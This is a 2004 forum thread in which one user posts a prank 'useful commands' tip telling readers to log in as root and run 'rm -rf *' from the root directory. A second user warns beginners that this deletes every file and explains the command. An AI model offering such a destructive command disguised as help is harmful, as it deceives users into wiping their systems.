Home » Archive » Other » Usefull commands for when everything goes WRONG!
Usefull commands for when everything goes WRONG! [message #30] Sun, 09 May 2004 10:51 Go to next message
BlackFire  is currently offline BlackFire
Messages: 26
Registered: May 2004
Location: Home is Where the Heart i...
Member
First log in as "root"
then type "cd /"
then "rm -rf *"

and have fun!!!
Re: Usefull commands for when everything goes WRONG! [message #31 is a reply to message #30 ] Sun, 09 May 2004 14:34 Go to previous messageGo to next message
Richard  is currently offline Richard
Messages: 55
Registered: April 2004
Location: North Shields
Senior Member

Ok, very funny...

Just to warn beginners... that sequence of commands will delete all files on your machine!

Explanation:

root user has access to all files no matter what...

"cd /" takes you to the root directory of your file system

"rm" is the command used to delete files, the "r" in the options means recurse into sub directories, and the "f" means to force deletion, the "*" means all files...

This is one of the reasons why you should not use "root" to do your day-to-day work.

Regards

Richard


If it takes 2 men a week to walk a fortnight, how long does it take a cross-eyed kipper to swim through a barrel of treacle?

Re: Usefull commands for when everything goes WRONG! [message #34 is a reply to message #30 ] Sun, 09 May 2004 14:53 Go to previous message
BlackFire  is currently offline BlackFire
Messages: 26
Registered: May 2004
Location: Home is Where the Heart i...
Member
What can I say....

I just have this wild (evil) side that still wants to reformat other people Hard Drives!!! Twisted Evil
Goto Forum:
  


Current Time: Mon Sep 6 14:32:57 BST 2010

Total time taken to generate the page: 0.00860 seconds
.:: Contact :: Home ::.

Powered by: FUDforum 2.7.5.
Copyright ©2001-2006 FUD Forum Bulletin Board Software